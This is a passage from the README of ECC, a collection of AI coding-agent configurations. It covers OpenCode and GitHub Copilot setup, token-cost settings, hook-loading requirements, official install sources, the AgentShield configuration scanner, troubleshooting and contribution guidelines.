<p>For installation, use the <a href=\"https://opencode.ai/docs/\">official OpenCode instructions</a>, select an exact release, and verify it before execution. The upstream npm package is <code>opencode-ai</code>, not <code>opencode</code>. ECC does not attest to an audited OpenCode runtime version.</p> \n  <p>The configuration is automatically detected from <code>.opencode/opencode.json</code>.</p> \n  <h4>Hook support via plugins</h4> \n  <p>OpenCode's plugin system has 20+ event types:</p> \n  <table> \n   <thead> \n    <tr> \n     <th>Claude Code Hook</th> \n     <th>OpenCode Plugin Event</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>PreToolUse</td> \n     <td><code>tool.execute.before</code></td> \n    </tr> \n    <tr> \n     <td>PostToolUse</td> \n     <td><code>tool.execute.after</code></td> \n    </tr> \n    <tr> \n     <td>Stop</td> \n     <td><code>session.idle</code></td> \n    </tr> \n    <tr> \n     <td>SessionStart</td> \n     <td><code>session.created</code></td> \n    </tr> \n    <tr> \n     <td>SessionEnd</td> \n     <td><code>session.deleted</code></td> \n    </tr> \n   </tbody> \n  </table> \n  <p><strong>Additional OpenCode events</strong>: <code>file.edited</code>, <code>file.watcher.updated</code>, <code>message.updated</code>, <code>lsp.client.diagnostics</code>, <code>tui.toast.show</code>, and more.</p> \n  <h4>Plugin installation</h4> \n  <p><strong>Option 1: Use directly</strong></p> \n  <pre><code class=\"language-bash\">cd ECC\nopencode\n</code></pre> \n  <p><strong>Option 2: Install as npm package</strong></p> \n  <pre><code class=\"language-bash\">npm install ecc-universal@2.2.3\n</code></pre> \n  <p>Then add to your <code>opencode.json</code>:</p> \n  <pre><code class=\"language-json\">{\n  \"plugin\": [\"ecc-universal\"]\n}\n</code></pre> \n  <p>That npm plugin entry enables ECC's published OpenCode plugin module (hooks/events and plugin tools). It does <strong>not</strong> automatically add ECC's full command/agent/instruction catalog to your project config.</p> \n  <p>For the full ECC OpenCode setup, either:</p> \n  <ul> \n   <li>run OpenCode inside this repository, or</li> \n   <li>copy the bundled <code>.opencode/</code> config assets into your project and wire the <code>instructions</code>, <code>agent</code>, and <code>command</code> entries in <code>opencode.json</code></li> \n  </ul> \n  <h4>Documentation</h4> \n  <ul> \n   <li><strong>Migration Guide</strong>: <code>.opencode/MIGRATION.md</code></li> \n   <li><strong>OpenCode Plugin README</strong>: <code>.opencode/README.md</code></li> \n   <li><strong>Consolidated Rules</strong>: <code>.opencode/instructions/INSTRUCTIONS.md</code></li> \n   <li><strong>LLM Documentation</strong>: <code>llms.txt</code> (complete OpenCode docs for LLMs)</li> \n  </ul> \n </details> \n <details> \n  <strong>GitHub Copilot support in depth</strong> \n  <p>ECC supports <strong>GitHub Copilot</strong> on two surfaces: Copilot Chat in VS Code, via its native instruction and prompt file system, and <strong>GitHub Copilot CLI</strong>, which discovers the shared skills already present in this repository. The optional <code>copilot</code> install target places canonical skills and adapted agents in the CLI's native project directories.</p> \n  <h4>What's included for GitHub Copilot</h4> \n  <table> \n   <thead> \n    <tr> \n     <th>Component</th> \n     <th>File</th> \n     <th>Purpose</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>Core instructions</td> \n     <td><code>.github/copilot-instructions.md</code></td> \n     <td>Always-loaded rules: coding style, security, testing, git workflow</td> \n    </tr> \n    <tr> \n     <td>VS Code settings</td> \n     <td><code>.vscode/settings.json</code></td> \n     <td>Per-task instruction files for code gen, test gen, and commit messages</td> \n    </tr> \n    <tr> \n     <td>Plan prompt</td> \n     <td><code>.github/prompts/plan.prompt.md</code></td> \n     <td>Phased implementation planning</td> \n    </tr> \n    <tr> \n     <td>TDD prompt</td> \n     <td><code>.github/prompts/tdd.prompt.md</code></td> \n     <td>Red-Green-Improve cycle</td> \n    </tr> \n    <tr> \n     <td>Security review prompt</td> \n     <td><code>.github/prompts/security-review.prompt.md</code></td> \n     <td>Deep OWASP-aligned security analysis</td> \n    </tr> \n    <tr> \n     <td>Build fix prompt</td> \n     <td><code>.github/prompts/build-fix.prompt.md</code></td> \n     <td>Systematic build and CI error resolution</td> \n    </tr> \n    <tr> \n     <td>Refactor prompt</td> \n     <td><code>.github/prompts/refactor.prompt.md</code></td> \n     <td>Dead code cleanup and simplification</td> \n    </tr> \n   </tbody> \n  </table> \n  <p>The files are already in place: open any repo that contains this project and GitHub Copilot Chat will automatically pick up <code>.github/copilot-instructions.md</code>. The committed <code>.vscode/settings.json</code> enables <code>chat.promptFiles</code> so VS Code can load the reusable prompts from <code>.github/prompts/</code>.</p> \n  <p>To use the workflow prompts in Copilot Chat:</p> \n  <ol> \n   <li>Open the Copilot Chat panel in VS Code.</li> \n   <li>Click the <strong>paperclip / attach</strong> icon and select <strong>Prompt...</strong>, or type <code>/</code> and choose a prompt.</li> \n   <li>Select the prompt (e.g. <code>plan</code>, <code>tdd</code>, <code>security-review</code>).</li> \n  </ol> \n  <h4>Copilot CLI: skills and agents</h4> \n  <p>GitHub Copilot CLI discovers <code>SKILL.md</code> skills from <code>.github/skills/</code>, <code>.agents/skills/</code>, <code>.claude/skills/</code>, <code>~/.copilot/skills/</code>, and <code>~/.agents/skills/</code>, and custom agents from <code>.github/agents/</code>. ECC's skill and skill frontmatter is compatible. The managed <code>copilot</code> target adapts agent frontmatter to <code>name</code> and <code>description</code>, removing Claude-specific model and tool keys. Raw manual agent copies can retain unsupported metadata.</p> \n  <p>Because ECC ships a skill subset in <code>.agents/skills/</code>, a plain clone of this repository is picked up by Copilot CLI with no configuration at all:</p> \n  <pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git &amp;&amp; cd ECC\ncopilot skill list\n# The inventory depends on the checkout and CLI version.\n</code></pre> \n  <p>In the contributor's September 2026 checkout, Copilot CLI 1.0.83 reported all 42 under <code>Project skills</code> with <code>source: \"project\"</code> and <code>enabled: true</code>. The three from <code>.claude/commands/</code> are Claude command files that Copilot surfaces as skills; they are reported with <code>path</code> set to the <code>.claude/commands</code> directory rather than to a per-skill subdirectory.</p> \n  <p>To check this with a temporary npm-distributed CLI, run the pinned build against a throwaway clone:</p> \n  <pre><code class=\"language-bash\">git clone --depth 1 https://github.com/affaan-m/ECC.git &amp;&amp; cd ECC\nnpx -y @github/copilot@1.0.82 skill list --json | jq '[.[] | select(.source==\"project\")] | length'\n# Count the current inventory rather than assuming a fixed total.\n</code></pre> \n  <p>That checkout's 39 + 3 split was reported by 1.0.82 from npm and by 1.0.83 installed locally, so the behaviour is not specific to one build or install method.</p> \n  <p>To expose the full catalog, place <code>skills/</code> where Copilot CLI looks:</p> \n  <pre><code class=\"language-bash\">mkdir -p .github/skills\ncp -r skills/. .github/skills/\ncopilot skill list --json &gt; copilot-skills.json\njq '[.[] | select(.path | contains(\".github/skills\"))] | length' copilot-skills.json\n# Compare with the current canonical skill catalog.\n</code></pre> \n  <p>Filter on the path rather than on <code>source</code>: the CLI can also discover skills from other project locations and de-duplicates entries with the same skill name. Counts depend on the checkout and CLI version. The file redirection also avoids truncated large JSON output observed with Copilot CLI 1.0.82 on macOS.</p> \n  <p>Copilot registers a skill under the <code>name</code> in its <code>SKILL.md</code> frontmatter, not its directory name, so catalog folders whose names differ from their frontmatter (for example <code>scientific-db-pubmed-database</code>, which declares <code>name: pubmed-database</code>) still load \u2014 they are just listed under the frontmatter name.</p> \n  <p>Agents work the same way:</p> \n  <pre><code class=\"language-bash\">./install.sh --profile full --target copilot\ncopilot --agent architect -p \"Review this module's boundaries\"\n</code></pre> \n  <p>The contributor verified native discovery with Copilot CLI 1.0.83. Manually copied agent files that declare a Claude model name (<code>model: opus</code>, <code>model: sonnet</code>) emit a warning and fall back to the session's default model, so remove or remap <code>model:</code> if you want to pin one.</p> \n  <h4>Installing with the <code>copilot</code> target</h4> \n  <p>The steps above copy files by hand. The <code>copilot</code> install target does the same placement and additionally rewrites agent frontmatter so no warning is emitted:</p> \n  <pre><code class=\"language-bash\">./install.sh --profile full --target copilot\n# Windows: ./install.ps1 --profile full --target copilot\n</code></pre> \n  <p>That writes skills to <code>.github/skills/</code>, agents to <code>.github/agents/</code>, and an install-state file to <code>.github/ecc-install-state.json</code>. Nothing is written outside <code>.github/</code>.</p> \n  <p>The <code>full</code> profile selects the modules declared for Copilot. It can place fewer skills than a manual copy of the entire canonical catalog because modules that require another host's runtime are excluded. List the resulting native inventory to see what this checkout installs; a count is not a capability grant.</p> \n  <p>Claude-only agent frontmatter (<code>model</code>, <code>tools</code>, <code>color</code>) is dropped during the copy: Copilot resolves the model from your own configuration, and it governs tool access per session through <code>--allow-tool</code>/<code>--deny-tool</code> rather than through agent frontmatter. ECC's rules, commands, and hooks are not installed by this target.</p> \n  <h4>Feature coverage</h4> \n  <table> \n   <thead> \n    <tr> \n     <th>ECC Feature</th> \n     <th>Copilot equivalent</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>Coding standards</td> \n     <td>Always-on via <code>copilot-instructions.md</code></td> \n    </tr> \n    <tr> \n     <td>Security checklist</td> \n     <td>Always-on + <code>security-review</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Testing / TDD</td> \n     <td>Always-on + <code>tdd</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Implementation planning</td> \n     <td><code>plan</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Code review</td> \n     <td>External PR review via CodeRabbit + Greptile</td> \n    </tr> \n    <tr> \n     <td>Build error resolution</td> \n     <td><code>build-fix</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Refactoring</td> \n     <td><code>refactor</code> prompt</td> \n    </tr> \n    <tr> \n     <td>Commit message format</td> \n     <td>Per-task instruction in <code>settings.json</code></td> \n    </tr> \n    <tr> \n     <td>Skills</td> \n     <td>Native discovery in Copilot CLI (<code>.github/skills/</code>, <code>.agents/skills/</code>)</td> \n    </tr> \n    <tr> \n     <td>Agents / delegation</td> \n     <td>Copilot CLI custom agents (<code>.github/agents/</code>, <code>--agent</code>)</td> \n    </tr> \n    <tr> \n     <td>Hooks / automation</td> \n     <td>ECC's hooks are not ported (Copilot CLI has its own plugin hook system)</td> \n    </tr> \n   </tbody> \n  </table> \n  <h4>Limitations</h4> \n  <p>ECC's hook automations (auto-format, TypeScript check, session persistence, dev-server guard) are written against Claude Code's hook event model and are not ported to Copilot. Copilot CLI does expose a hook system through its plugin format, but ECC does not currently ship a Copilot plugin, so none of ECC's hooks run there.</p> \n  <p>ECC also does not install rules, commands, or hooks for Copilot. The <code>copilot</code> target installs skills and agents only. Skills that shell out to bundled scripts assume the same interpreters as on Claude Code. Copilot Chat in VS Code does not read <code>.github/skills/</code> or <code>.github/agents/</code>; those paths are Copilot CLI surfaces. The instruction and prompt layer is what carries ECC's coding philosophy into Copilot Chat sessions.</p> \n </details> \n <details> \n  <strong>What changed in v2.0.0</strong> \n  <p>ECC v2.0.0 stabilizes the 2.0 line with the public Hermes operator story, 281 skills, 67 agents, 94 command shims, session adapters, MCP inventory, worktree lifecycle services, orchestrator workflows, and the ECC Discord community.</p> \n  <ul> \n   <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/releases/2.0.0/release-notes.md\">v2.0.0 release notes</a></li> \n   <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ECC-2.0-REFERENCE-ARCHITECTURE.md\">ECC 2.0 reference architecture</a></li> \n   <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/HERMES-SETUP.md\">Hermes setup guide</a></li> \n   <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MIGRATION-1X-TO-2.0.md\">Migration guide from 1.x</a></li> \n  </ul> \n </details> \n</details> \n<h2>Token Optimization</h2> \n<p>Agent usage can be expensive if you don't manage token consumption. These settings significantly reduce costs without sacrificing quality. Full guide: <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/token-optimization.md\">docs/token-optimization.md</a>.</p> \n<details> \n <strong>Recommended settings</strong> \n <p>Add to <code>~/.claude/settings.json</code>:</p> \n <pre><code class=\"language-json\">{\n  \"model\": \"sonnet\",\n  \"env\": {\n    \"CLAUDE_CODE_EFFORT_LEVEL\": \"medium\",\n    \"CLAUDE_AUTOCOMPACT_PCT_OVERRIDE\": \"50\",\n    \"CLAUDE_CODE_SUBAGENT_MODEL\": \"haiku\"\n  }\n}\n</code></pre> \n <p>The effort setting requires a model that supports effort controls. On Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry, the <code>sonnet</code> alias currently resolves to Sonnet 4.5, which does not support effort controls. Select an effort-capable model available from your provider, or omit <code>CLAUDE_CODE_EFFORT_LEVEL</code>.</p> \n <table> \n  <thead> \n   <tr> \n    <th>Setting</th> \n    <th>Default</th> \n    <th>Recommended</th> \n    <th>Impact</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><code>model</code></td> \n    <td>opus</td> \n    <td><strong>sonnet</strong></td> \n    <td>~60% cost reduction; handles 80%+ of coding tasks</td> \n   </tr> \n   <tr> \n    <td><code>CLAUDE_CODE_EFFORT_LEVEL</code></td> \n    <td>Model-dependent</td> \n    <td><strong>medium</strong>, if supported</td> \n    <td>Controls adaptive reasoning depth on models that support effort controls; lower effort trades reasoning depth for latency and cost</td> \n   </tr> \n   <tr> \n    <td><code>CLAUDE_AUTOCOMPACT_PCT_OVERRIDE</code></td> \n    <td>95</td> \n    <td><strong>50</strong></td> \n    <td>Compacts earlier, better quality in long sessions</td> \n   </tr> \n   <tr> \n    <td><code>ECC_CONTEXT_MONITOR_COST_WARNINGS</code></td> \n    <td>on</td> \n    <td><strong>off for subscription users</strong></td> \n    <td>Suppresses agent-facing API-rate estimate warnings while keeping context/scope/loop warnings</td> \n   </tr> \n  </tbody> \n </table> \n <p>For fixed-budget models, <code>MAX_THINKING_TOKENS</code> controls the thinking budget. On Opus 4.6 or Sonnet 4.6, also set <code>CLAUDE_CODE_DISABLE_ADAPTIVE_THINKING=1</code> to use that mode. A positive token value does not cap adaptive reasoning; see the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/rules/common/performance.md#extended-thinking--plan-mode\">performance rule</a>.</p> \n <p>Switch to Opus only when you need deep architectural reasoning:</p> \n <pre><code>/model opus\n</code></pre> \n</details> \n<details> \n <strong>Daily workflow commands</strong> \n <table> \n  <thead> \n   <tr> \n    <th>Command</th> \n    <th>When to Use</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><code>/model sonnet</code></td> \n    <td>Default for most tasks</td> \n   </tr> \n   <tr> \n    <td><code>/model opus</code></td> \n    <td>Complex architecture, debugging, deep reasoning</td> \n   </tr> \n   <tr> \n    <td><code>/clear</code></td> \n    <td>Between unrelated tasks (free, instant reset)</td> \n   </tr> \n   <tr> \n    <td><code>/compact</code></td> \n    <td>At logical task breakpoints (research done, milestone complete)</td> \n   </tr> \n   <tr> \n    <td><code>/cost</code></td> \n    <td>Monitor token spending during session</td> \n   </tr> \n  </tbody> \n </table> \n <p>If you use a subscription and the context monitor's API-rate estimates are not useful, set <code>ECC_CONTEXT_MONITOR_COST_WARNINGS=off</code>. This only suppresses the agent-facing cost warnings; it does not disable context exhaustion, scope, or loop warnings.</p> \n</details> \n<details> \n <strong>Strategic compaction</strong> \n <p>The <code>strategic-compact</code> skill suggests <code>/compact</code> at logical breakpoints instead of relying on auto-compaction at 95% context. See <code>skills/strategic-compact/SKILL.md</code> for the full decision guide.</p> \n <p><strong>When to compact:</strong></p> \n <ul> \n  <li>After research/exploration, before implementation</li> \n  <li>After completing a milestone, before starting the next</li> \n  <li>After debugging, before continuing feature work</li> \n  <li>After a failed approach, before trying a new one</li> \n </ul> \n <p><strong>When NOT to compact:</strong></p> \n <ul> \n  <li>Mid-implementation (you'll lose variable names, file paths, partial state)</li> \n </ul> \n</details> \n<details> \n <strong>Context window management</strong> \n <p><strong>Critical:</strong> Don't enable all MCPs at once. Each MCP tool description consumes tokens from your 200k window, potentially reducing it to ~70k.</p> \n <ul> \n  <li>Keep under 10 MCPs enabled per project</li> \n  <li>Keep under 80 tools active</li> \n  <li>Use <code>/mcp</code> to disable unused Claude Code MCP servers; those runtime choices persist in <code>~/.claude.json</code></li> \n  <li>Use <code>ECC_DISABLED_MCPS</code> only to filter ECC-generated MCP configs during install/sync flows</li> \n  <li>If context is getting heavy, run <code>/context-budget</code> and remove rules you do not need</li> \n </ul> \n <p><strong>Agent teams cost warning:</strong> Agent Teams spawns multiple context windows. Each teammate consumes tokens independently. Only use for tasks where parallelism provides clear value (multi-module work, parallel reviews). For simple sequential tasks, subagents are more token-efficient.</p> \n</details> \n<h2>Requirements</h2> \n<details> \n <strong>Claude Code CLI version + hooks auto-loading behavior</strong> \n <h3>Claude Code CLI version</h3> \n <p><strong>Minimum version: v2.1.0 or later.</strong> The plugin requires Claude Code CLI v2.1.0+ due to changes in how the plugin system handles hooks.</p> \n <p>Check your version:</p> \n <pre><code class=\"language-bash\">claude --version\n</code></pre> \n <h3>Important: hooks auto-loading behavior</h3> \n <blockquote> \n  <p>WARNING: <strong>For Contributors:</strong> Do NOT add a <code>\"hooks\"</code> field to <code>.claude-plugin/plugin.json</code>. This is enforced by a regression test.</p> \n </blockquote> \n <p>Claude Code v2.1+ <strong>automatically loads</strong> <code>hooks/hooks.json</code> from any installed plugin by convention. Explicitly declaring it in <code>plugin.json</code> causes a duplicate detection error:</p> \n <pre><code>Duplicate hooks file detected: ./hooks/hooks.json resolves to already-loaded file\n</code></pre> \n <p><strong>History:</strong> This has caused repeated fix/revert cycles in this repo (<a href=\"https://github.com/affaan-m/ECC/issues/29\">#29</a>, <a href=\"https://github.com/affaan-m/ECC/issues/52\">#52</a>, <a href=\"https://github.com/affaan-m/ECC/issues/103\">#103</a>). The behavior changed between Claude Code versions, leading to confusion. There is now a regression test to prevent this from being reintroduced.</p> \n</details> \n<h2>Security</h2> \n<p>Install ECC only from official sources:</p> \n<ul> \n <li>GitHub repository: <a href=\"https://github.com/affaan-m/ECC\">https://github.com/affaan-m/ECC</a></li> \n <li>Claude Code plugin: <code>ecc@ecc</code></li> \n <li>npm packages: <a href=\"https://www.npmjs.com/package/ecc-universal\"><code>ecc-universal</code></a> and <a href=\"https://www.npmjs.com/package/ecc-agentshield\"><code>ecc-agentshield</code></a></li> \n <li>GitHub App: <a href=\"https://github.com/apps/ecc-tools\">https://github.com/apps/ecc-tools</a></li> \n <li>Website: <a href=\"https://ecc.tools\">https://ecc.tools</a></li> \n</ul> \n<p>Scan a project with an already installed, reviewed AgentShield binary (see <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#agentshield-runner-provenance\">runner provenance</a>):</p> \n<pre><code class=\"language-bash\">agentshield scan --path .\n</code></pre> \n<ul> \n <li><strong>Report a vulnerability.</strong> Use the private process in <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SECURITY.md\">SECURITY.md</a> (GitHub private vulnerability reporting). Please do not open public issues for security reports.</li> \n <li><strong>Built-in guardrails.</strong> GateGuard gates destructive shell commands (including <code>rm</code>, force/path <code>git checkout</code>, and destructive <code>find -exec</code>) before they run; the supply-chain IOC scanner runs in CI; and AgentShield audits your own agent, hook, MCP, permission, and secret surfaces (<code>/security-scan</code>).</li> \n</ul> \n<details> \n <strong>Hooks, MCP servers, and context controls</strong> \n <p>Hooks can run shell commands, MCP servers can hold credentials, and project instructions can enter an agent's context. Treat all three as executable configuration.</p> \n <p>Do not copy raw <code>hooks/hooks.json</code> into <code>~/.claude/settings.json</code> after a plugin install. Modern Claude Code versions load plugin hooks automatically, and a second copy can make them fire twice.</p> \n <p>Use <code>/mcp</code> for Claude Code runtime disables; Claude Code persists those choices in <code>~/.claude.json</code>.</p> \n <p><code>ECC_DISABLED_MCPS</code> is an ECC install/sync filter, not a live Claude Code toggle.</p> \n <p>If context is getting heavy, run <code>/context-budget</code>, remove rules you do not need, and disable unused MCP servers. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/token-optimization.md\">token optimization guide</a>.</p> \n</details> \n<p>Security references:</p> \n<ul> \n <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SECURITY.md\">Security policy</a></li> \n <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-security-guide.md\">Security guide</a></li> \n <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MCP-CONNECTOR-POLICY.md\">MCP connector policy</a></li> \n <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/security/supply-chain-incident-response.md\">Supply-chain incident response</a></li> \n</ul> \n<h2>Ecosystem Tools</h2> \n<details> \n <strong>Skill Creator: generate skills from your git history</strong> \n <p>Two ways to generate skills from your repository:</p> \n <h3>Option A: Local Analysis (Built-in)</h3> \n <p>Use the <code>/skill-create</code> command for local analysis without external services:</p> \n <pre><code class=\"language-bash\">/skill-create                    # Analyze current repo\n/skill-create --instincts        # Also generate instincts for continuous-learning-v2\n</code></pre> \n <p>This analyzes your git history locally and generates <a href=\"http://SKILL.md\">SKILL.md</a> files.</p> \n <h3>Option B: GitHub App (Advanced)</h3> \n <p>For advanced features (10k+ commits, auto-PRs, team sharing):</p> \n <p><a href=\"https://github.com/apps/ecc-tools\">Install ECC Tools GitHub App</a> | <a href=\"https://ecc.tools\">ecc.tools</a></p> \n <pre><code class=\"language-bash\"># Comment on any issue:\n/ecc-tools analyze\n</code></pre> \n <p>Both options create:</p> \n <ul> \n  <li><strong><a href=\"http://SKILL.md\">SKILL.md</a> files</strong>: Ready-to-use skills for the active harness</li> \n  <li><strong>Instinct collections</strong>: For continuous-learning-v2</li> \n  <li><strong>Pattern extraction</strong>: Learns from your commit history</li> \n </ul> \n</details> \n<details> \n <strong>AgentShield: security auditor for agent configs</strong> \n <blockquote> \n  <p>Built at the Claude Code Hackathon (Cerebral Valley x Anthropic, Feb 2026). 1282 tests, 98% coverage, 102 static analysis rules.</p> \n </blockquote> \n <p>Scan your agent configuration for vulnerabilities, misconfigurations, and injection risks.</p> \n <p><a id=\"agentshield-runner-provenance\"></a> <strong>Runner provenance:</strong> these commands require an already installed, reviewed AgentShield binary from <code>ecc-agentshield</code>. The <a href=\"https://www.npmjs.com/package/ecc-agentshield\">official package</a> documents the <code>agentshield</code> CLI. Record the selected release, reviewed source and verified package integrity in your installation record. Registry publication alone does not establish an audit; ECC does not supply an audited AgentShield pin here. Do not substitute an unversioned one-shot download. <code>/security-scan</code> is workflow guidance and has the same runner prerequisite.</p> \n <pre><code class=\"language-bash\"># Scan only the intended project directory\nagentshield scan --path .\n\n# Auto-fix safe issues\nagentshield scan --path . --fix\n\n# Deep analysis with three Opus 4.6 agents\nagentshield scan --path . --opus --stream\n\n# Generate secure config from scratch\nagentshield init\n</code></pre> \n <p><strong>What it scans:</strong> <a href=\"http://CLAUDE.md\">CLAUDE.md</a>, settings.json, MCP configs, hooks, agent definitions, and skills across 5 categories: secrets detection (14 patterns), permission auditing, hook injection analysis, MCP server risk profiling, and agent config review.</p> \n <p><strong>The <code>--opus</code> flag</strong> runs three Claude Opus 4.6 agents in a red-team/blue-team/auditor pipeline. The attacker finds exploit chains, the defender evaluates protections, and the auditor synthesizes both into a prioritized risk assessment. Adversarial reasoning, not just pattern matching.</p> \n <p><strong>Output formats:</strong> Terminal (color-graded A-F), JSON (CI pipelines), Markdown, HTML. Exit code 2 on critical findings for build gates.</p> \n <p>Use <code>/security-scan</code> in Claude Code to run it, or add to CI with the <a href=\"https://github.com/affaan-m/agentshield\">GitHub Action</a>.</p> \n <p><a href=\"https://github.com/affaan-m/agentshield\">GitHub</a> | <a href=\"https://www.npmjs.com/package/ecc-agentshield\">npm</a></p> \n</details> \n<details> \n <strong>Continuous Learning v2: instincts</strong> \n <p>The instinct-based learning system automatically learns your patterns:</p> \n <pre><code class=\"language-bash\">/instinct-status        # Show learned instincts with confidence\n/instinct-import &lt;file&gt; # Import instincts from others\n/instinct-export        # Export your instincts for sharing\n/evolve                 # Cluster related instincts into skills\n</code></pre> \n <p>See <code>skills/continuous-learning-v2/</code> for full documentation. Keep <code>continuous-learning/</code> only when you explicitly want the legacy v1 Stop-hook learned-skill flow.</p> \n</details> \n<h2>Troubleshooting</h2> \n<details> \n <strong>ECC appears twice or hooks fire twice</strong> \n <p>The usual cause is installing the Claude plugin and then running <code>./install.sh --profile full</code> on top of it.</p> \n <ol> \n  <li>Remove the Claude Code plugin install.</li> \n  <li>Run <code>node scripts/ecc.js uninstall --dry-run</code> from the ECC checkout.</li> \n  <li>Remove extra rule folders you manually copied and no longer want.</li> \n  <li>Reinstall once, using one path.</li> \n </ol> \n <p>For hook-specific checks, see the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/hooks/README.md\">hooks README</a>.</p> \n</details> \n<details> \n <strong>My hooks aren't working / \"Duplicate hooks file\" errors</strong> \n <p><strong>Do NOT add a <code>\"hooks\"</code> field to <code>.claude-plugin/plugin.json</code>.</strong> Claude Code v2.1+ automatically loads <code>hooks/hooks.json</code> from installed plugins. Explicitly declaring it causes duplicate detection errors. See <a href=\"https://github.com/affaan-m/ECC/issues/29\">#29</a>, <a href=\"https://github.com/affaan-m/ECC/issues/52\">#52</a>, <a href=\"https://github.com/affaan-m/ECC/issues/103\">#103</a>.</p> \n</details> \n<details> \n <strong>Codex marketplace installs but skills do not load</strong> \n <p>Run the cache check from an ECC checkout:</p> \n <pre><code class=\"language-bash\">node scripts/codex/check-plugin-cache.js\n</code></pre> \n <p>If it reports unresolved parent references, refresh the native cache with <code>codex plugin marketplace upgrade ecc</code>, run <code>codex plugin add ecc@ecc</code> again, and restart Codex. Registration in <code>codex plugin list</code> confirms the marketplace entry, while the cache check verifies that the installed manifest can resolve its skills, MCP configuration, and assets. Use <code>bash scripts/sync-ecc-to-codex.sh</code> only when you intentionally need the legacy copied-configuration compatibility path.</p> \n</details> \n<p>More answers: <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/TROUBLESHOOTING.md\">TROUBLESHOOTING.md</a> covers memory, hooks, installation, performance, and common error messages. <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/TROUBLESHOOTING.md\">docs/TROUBLESHOOTING.md</a> tracks workarounds for open Claude Code bugs.</p> \n<h2>Running Tests</h2> \n<p>The plugin includes a comprehensive test suite:</p> \n<pre><code class=\"language-bash\"># Run all tests\nnode tests/run-all.js\n\n# Run individual test files\nnode tests/lib/utils.test.js\nnode tests/lib/package-manager.test.js\nnode tests/hooks/hooks.test.js\n</code></pre> \n<h2>Background</h2> \n<p>I've been using Claude Code since the experimental rollout. Won the Anthropic x Forum Ventures hackathon in Sep 2025 with <a href=\"https://x.com/DRodriguezFX\">@DRodriguezFX</a>, built <a href=\"https://zenith.chat\">zenith.chat</a> entirely with agentic workflows.</p> \n<p>These configs are battle-tested across multiple production applications.</p> \n<h2>Community and Project</h2> \n<details> \n <strong>Sponsors and ECC Pro</strong> \n <p>ECC stays free because sponsors and Pro users fund the work. Sponsor logos are at the top of this README; the full roster and tiers are in <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORS.md\">SPONSORS.md</a>.</p> \n <p>ECC Pro adds private-repo analysis, PR-triggered audits, AgentShield-backed scanning, automatic push and PR checks, pooled team usage, and priority support through the hosted GitHub App.</p> \n <table> \n  <tbody>\n   <tr> \n    <td align=\"center\" width=\"25%\"><a href=\"https://ecc.tools/pricing\"><strong>ECC Pro</strong><br /><sub>Hosted GitHub App for private repos</sub></a></td> \n    <td align=\"center\" width=\"25%\"><a href=\"https://github.com/sponsors/affaan-m\"><strong>Sponsor ECC</strong><br /><sub>Fund the OSS work</sub></a></td> \n    <td align=\"center\" width=\"25%\"><a href=\"https://github.com/affaan-m/ECC/discussions\"><strong>Community</strong><br /><sub>Q&amp;A, ideas, and Show and Tell</sub></a></td> \n    <td align=\"center\" width=\"25%\"><a href=\"https://github.com/apps/ecc-tools\"><strong>GitHub App</strong><br /><sub>PR audits and hosted workflows</sub></a></td> \n   </tr> \n  </tbody>\n </table> \n <p><a href=\"https://github.com/sponsors/affaan-m\">Become a sponsor</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORS.md\">Sponsor tiers</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/SPONSORING.md\">Sponsorship program</a></p> \n</details> \n<details> \n <strong>Contributing</strong> \n <p>Contributions are welcome across skills, agents, rules, hooks, docs, tests, adapters, and security improvements.</p> \n <ul> \n  <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/CONTRIBUTING.md\">Contributing guide</a></li> \n  <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/SKILL-DEVELOPMENT-GUIDE.md\">Skill development guide</a></li> \n  <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/SKILL-PLACEMENT-POLICY.md\">Skill placement policy</a></li> \n  <li><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/COMMANDS-QUICK-REF.md\">Command quick reference</a></li> \n </ul> \n <p>The short version:</p> \n <ol> \n  <li>Fork the repo</li> \n  <li>Create your skill in <code>skills/your-skill-name/SKILL.md</code> (with YAML frontmatter)</li> \n  <li>Or create an agent in <code>agents/your-agent.md</code></li> \n  <li>Submit a PR with a clear description of what it does and when to use it</li> \n </ol> \n <p><strong>Ideas for contributions:</strong></p> \n <ul> \n  <li>Language-specific skills (Rust, C#, Kotlin, Java): Go, Python, Perl, Swift, TypeScript, and HarmonyOS/ArkTS already included</li> \n  <li>Framework-specific configs (Rails, FastAPI): Django, NestJS, Spring Boot, and Laravel already included</li> \n  <li>DevOps agents (Kubernetes, Terraform, AWS, Docker)</li> \n  <li>Testing strategies (different frameworks, visual regression)</li> \n  <li>Domain-specific knowledge (ML, data engineering, mobile)</li> \n </ul> \n</details> \n<h2>Links</h2> 